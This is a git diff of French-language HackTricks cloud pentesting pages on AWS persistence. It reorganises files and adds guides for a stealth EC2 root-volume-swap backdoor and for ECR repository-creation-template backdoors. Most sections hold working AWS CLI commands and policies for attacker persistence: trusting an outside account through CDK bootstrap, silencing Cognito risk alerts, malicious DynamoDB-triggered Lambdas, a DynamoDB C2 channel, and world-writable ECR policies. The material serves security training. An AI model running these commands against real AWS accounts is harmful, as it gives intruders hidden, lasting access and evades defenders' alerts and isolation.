diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index 80d869996..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Pour plus d'informations, allez à : - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Politique de Ressource - -Modifiez la politique de ressource des API gateway pour vous accorder l'accès. - -### Modifier les Authorizers Lambda - -Modifiez le code des authorizers lambda pour vous accorder l'accès à tous les points de terminaison.\ -Ou supprimez simplement l'utilisation de l'authorizer. - -### Permissions IAM - -Si une ressource utilise un authorizer IAM, vous pourriez vous accorder l'accès en modifiant les permissions IAM.\ -Ou supprimez simplement l'utilisation de l'authorizer. - -### Clés API - -Si des clés API sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.\ -Ou supprimez simplement l'utilisation des clés API. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..75cc6babf --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +Pour plus d'informations, voir : + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Resource Policy + +Modifiez la resource policy de l'API gateway(s) pour vous accorder l'accès. + +### Modify Lambda Authorizers + +Modifiez le code des lambda authorizers pour vous accorder l'accès à tous les endpoints.\ +Ou supprimez simplement l'utilisation de l'authorizer. + +### IAM Permissions + +Si une ressource utilise un IAM authorizer, vous pouvez vous donner l'accès en modifiant les IAM permissions.\ +Ou supprimez simplement l'utilisation de l'authorizer. + +### API Keys + +Si des API keys sont utilisées, vous pouvez les leak pour maintenir la persistance ou même en créer de nouvelles.\ +Ou supprimez simplement l'utilisation des API keys. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index f1062fcad..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -Pour plus d'informations, accédez à : - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Stack - -Le AWS CDK déploie une pile CFN appelée `CDKToolkit`. Cette pile prend en charge un paramètre `TrustedAccounts` qui permet aux comptes externes de déployer des projets CDK dans le compte de la victime. Un attaquant peut en abuser pour se donner un accès indéfini au compte de la victime, soit en utilisant l'interface en ligne de commande AWS pour redéployer la pile avec des paramètres, soit l'interface en ligne de commande AWS CDK. -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..da35502b7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +L'AWS CDK déploie une stack CFN appelée `CDKToolkit`. Cette stack prend en charge un paramètre `TrustedAccounts` qui permet à des comptes externes de déployer des projets CDK dans le compte victime. Un attaquant peut abuser de cela pour s'octroyer un accès indéfini au compte victime, soit en utilisant l'AWS cli pour redéployer la stack avec des paramètres, soit en utilisant l'AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index 2091a2fc2..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Pour plus d'informations, accédez à : - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Persistance des utilisateurs - -Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme : - -- **Ajouter un User Pool** contrôlé par l'utilisateur à un Identity Pool -- Donner un **rôle IAM à un Identity Pool non authentifié et permettre le flux d'authentification de base** -- Ou à un **Identity Pool authentifié** si l'attaquant peut se connecter -- Ou **améliorer les permissions** des rôles donnés -- **Créer, vérifier & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool** -- **Permettre aux fournisseurs d'identité externes** de se connecter dans un User Pool ou dans un Identity Pool - -Vérifiez comment effectuer ces actions dans - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -Un attaquant avec ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans que des alarmes ne soient déclenchées**. [**Consultez le cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) pour vérifier toutes les options : -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -Par défaut, cela est désactivé : - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..836d753be --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### User persistence + +Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme : + +- **Adding a User Pool** contrôlé par l'utilisateur à un Identity Pool +- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** +- Ou à un **authenticated Identity Pool** si l'attaquant peut se connecter +- Ou **améliorer les permissions** des rôles donnés +- **Create, verify & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool** +- **Allowing external Identity Providers** à se connecter dans un User Pool ou dans un Identity Pool + +Check how to do these actions in + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +Un attaquant disposant de ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans déclencher d'alertes**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +Par défaut, ceci est désactivé : + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md index e2769f358..af7ec6a5b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -1,18 +1,18 @@ -# AWS - Persistance DynamoDB +# AWS - DynamoDB Persistance -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### DynamoDB -Pour plus d'informations, accédez à : +Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} -### Déclencheurs DynamoDB avec une porte dérobée Lambda +### Déclencheurs DynamoDB avec Lambda Backdoor -En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **porte dérobée discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS. +En utilisant les déclencheurs DynamoDB, un attaquant peut créer une **backdoor furtive** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire dans le compte AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ @@ -36,9 +36,9 @@ aws lambda create-event-source-mapping \ ``` Pour maintenir la persistance, l'attaquant peut créer ou modifier des éléments dans la table DynamoDB, ce qui déclenchera la fonction Lambda malveillante. Cela permet à l'attaquant d'exécuter du code au sein du compte AWS sans interaction directe avec la fonction Lambda. -### DynamoDB comme canal C2 +### DynamoDB comme un command and control (C2) channel -Un attaquant peut utiliser une table DynamoDB comme un **canal de commande et de contrôle (C2)** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes. +Un attaquant peut utiliser une table DynamoDB comme un **command and control (C2) channel** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -Les instances compromises ou les fonctions Lambda peuvent vérifier périodiquement la table C2 pour de nouvelles commandes, les exécuter et, en option, rapporter les résultats à la table. Cela permet à l'attaquant de maintenir la persistance et le contrôle sur les ressources compromises. +Les instances compromises ou les fonctions Lambda peuvent périodiquement consulter la C2 table pour de nouvelles commandes, les exécuter et, éventuellement, rapporter les résultats dans la table. Cela permet à l'attaquant de maintenir persistence et contrôle sur les ressources compromises. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index 5ab5d02a3..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Persistence de suivi de connexion du groupe de sécurité - -Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas permettre **aucun type de trafic entrant ou sortant**. - -Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** - -### Gestionnaire de cycle de vie EC2 - -Ce service permet de **programmer** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\ -Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **toutes les semaines** et **les partager avec son compte**. - -### Instances programmées - -Il est possible de programmer des instances pour s'exécuter quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder. - -### Demande de flotte Spot - -Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution automatique d'IP** et des **données utilisateur** qui envoient à l'attaquant **quand l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**. - -### Instances de porte dérobée - -Un attaquant pourrait accéder aux instances et les compromettre : - -- En utilisant un **rootkit** traditionnel par exemple -- En ajoutant une nouvelle **clé SSH publique** (voir [options de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) -- En compromettant les **données utilisateur** - -### **Configuration de lancement de porte dérobée** - -- Compromettre l'AMI utilisée -- Compromettre les données utilisateur -- Compromettre la paire de clés - -### VPN - -Créer un VPN afin que l'attaquant puisse se connecter directement à travers celui-ci au VPC. - -### Peering VPC - -Créer une connexion de peering entre le VPC de la victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC de la victime. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..b434f4d56 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,62 @@ +# AWS - EC2 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Pour plus d'informations, voir : + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACLs affectent l'ensemble du subnet), ou en **modifiant le security group** pour n'autoriser **aucun trafic entrant ou sortant**. + +Si l'attaquant disposait d'un **reverse shell initié depuis la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas terminée en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** + +### EC2 Lifecycle Manager + +Ce service permet de **planifier** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\ +Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **chaque semaine** et **les partager avec son compte**. + +### Scheduled Instances + +Il est possible de planifier l'exécution d'instances quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait faire tourner une machine disposant de privilèges élevés ou d'un accès intéressant auquel il pourrait accéder. + +### Spot Fleet Request + +Les Spot instances sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite spot fleet request pour 5 year** (par exemple), avec une attribution **automatique d'IP** et un **user data** qui envoie à l'attaquant **lorsque la spot instance démarre** l'**adresse IP**, et avec un **IAM role** hautement privilégié. + +### Backdoor Instances + +Un attaquant pourrait obtenir l'accès aux instances et les backdoorer : + +- En utilisant un **rootkit** traditionnel par exemple +- En ajoutant une nouvelle **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- Installer une backdoor dans le **User Data** + +### **Backdoor Launch Configuration** + +- Installer une backdoor dans l'AMI utilisée +- Installer une backdoor dans le User Data +- Installer une backdoor dans le Key Pair + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +Échanger le volume EBS racine d'une instance en cours d'exécution contre un volume construit à partir d'une AMI ou d'un snapshot contrôlé par l'attaquant en utilisant `CreateReplaceRootVolumeTask`. L'instance conserve ses ENIs, IPs, et role, démarrant ainsi dans du code malveillant tout en semblant inchangée. + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +Créer un VPN pour que l'attaquant puisse se connecter directement au VPC. + +### VPC Peering + +Créer une connexion de peering entre le VPC victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC victime. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..fe5741ac6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +Exploiter **ec2:CreateReplaceRootVolumeTask** pour remplacer le volume racine EBS d'une instance en cours d'exécution par un volume restauré depuis une AMI ou un snapshot contrôlé par l'attaquant. L'instance redémarre automatiquement et reprend avec le système de fichiers racine contrôlé par l'attaquant tout en conservant les ENIs, les IP privées/publiques, les volumes non-racine attachés, et les métadonnées de l'instance / le rôle IAM. + +## Prérequis +- L'instance cible utilise EBS comme stockage racine et s'exécute dans la même région. +- AMI ou snapshot compatible : même architecture/virtualisation/mode de démarrage (et codes produit, si applicables) que l'instance cible. + +## Vérifications préalables +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## Remplacer le volume racine depuis une AMI (préféré) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +Alternative — en utilisant un snapshot: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## Preuves / Vérification +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +Résultat attendu : ENI_ID et PRI_IP restent les mêmes ; l'ID du root volume passe de $ORIG_VOL à $NEW_VOL. Le système démarre avec le système de fichiers provenant de l'AMI/snapshot contrôlée par l'attaquant. + +## Remarques +- L'API ne requiert pas que vous arrêtiez manuellement l'instance ; EC2 orchestre un redémarrage. +- Par défaut, le volume EBS racine remplacé (ancien) est détaché et laissé dans le compte (DeleteReplacedRootVolume=false). Cela peut être utilisé pour une restauration ou doit être supprimé pour éviter des coûts. + +## Restauration / Nettoyage +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index 24c587671..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Image Docker Cachée avec Code Malveillant - -Un attaquant pourrait **télécharger une image Docker contenant du code malveillant** dans un dépôt ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services au sein du compte, tels qu'Amazon ECS ou EKS, de manière furtive. - -### Politique de Dépôt - -Ajoutez une politique à un seul dépôt vous accordant (ou à tout le monde) l'accès à un dépôt : -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> Notez que ECR nécessite que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR. - -### Politique de Registre & Réplication Inter-comptes - -Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre. - -
- -Tout d'abord, vous devez donner au compte externe un accès sur le registre avec une **politique de registre** comme : -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -Ensuite, appliquez la configuration de réplication : -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..014c1ffe4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistance + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Image Docker cachée contenant du code malveillant + +Un attaquant pourrait **téléverser une image Docker contenant du code malveillant** dans un repository ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services du compte, tels que Amazon ECS ou EKS, de manière discrète. + +### Politique du dépôt + +Ajoutez une politique à un dépôt unique pour vous accorder (ou accorder à tout le monde) l'accès au dépôt : +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> Notez que ECR exige que les utilisateurs disposent de **l'autorisation** d'appeler l'API **`ecr:GetAuthorizationToken`** via une stratégie IAM **avant de pouvoir s'authentifier** sur un registre et pousser ou tirer des images depuis n'importe quel dépôt Amazon ECR. + +### Politique de registre et réplication inter-comptes + +Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre. + +
+ +Tout d'abord, vous devez accorder au compte externe l'accès au registre via une **politique de registre** telle que : +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +Ensuite, appliquez la configuration de réplication : +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Modèles de création de repository (préfixe backdoor pour les futurs repos) + +Abuser des Repository Creation Templates d'ECR pour backdoor automatiquement tout repository qu'ECR crée automatiquement sous un préfixe contrôlé (par exemple via Pull-Through Cache ou Create-on-Push). Cela accorde un accès persistant non autorisé aux futurs repos sans toucher aux existants. + +- Permissions requises : ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (utilisé par le template), iam:PassRole (si un rôle personnalisé est attaché au template). +- Impact : Tout nouveau repository créé sous le préfixe ciblé hérite automatiquement d'une repository policy contrôlée par l'attaquant (p. ex., lecture/écriture inter-compte), de la mutabilité des tags et des paramètres d'analyse par défaut. + +
+Backdoor les futurs repos créés par PTC sous un préfixe choisi +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
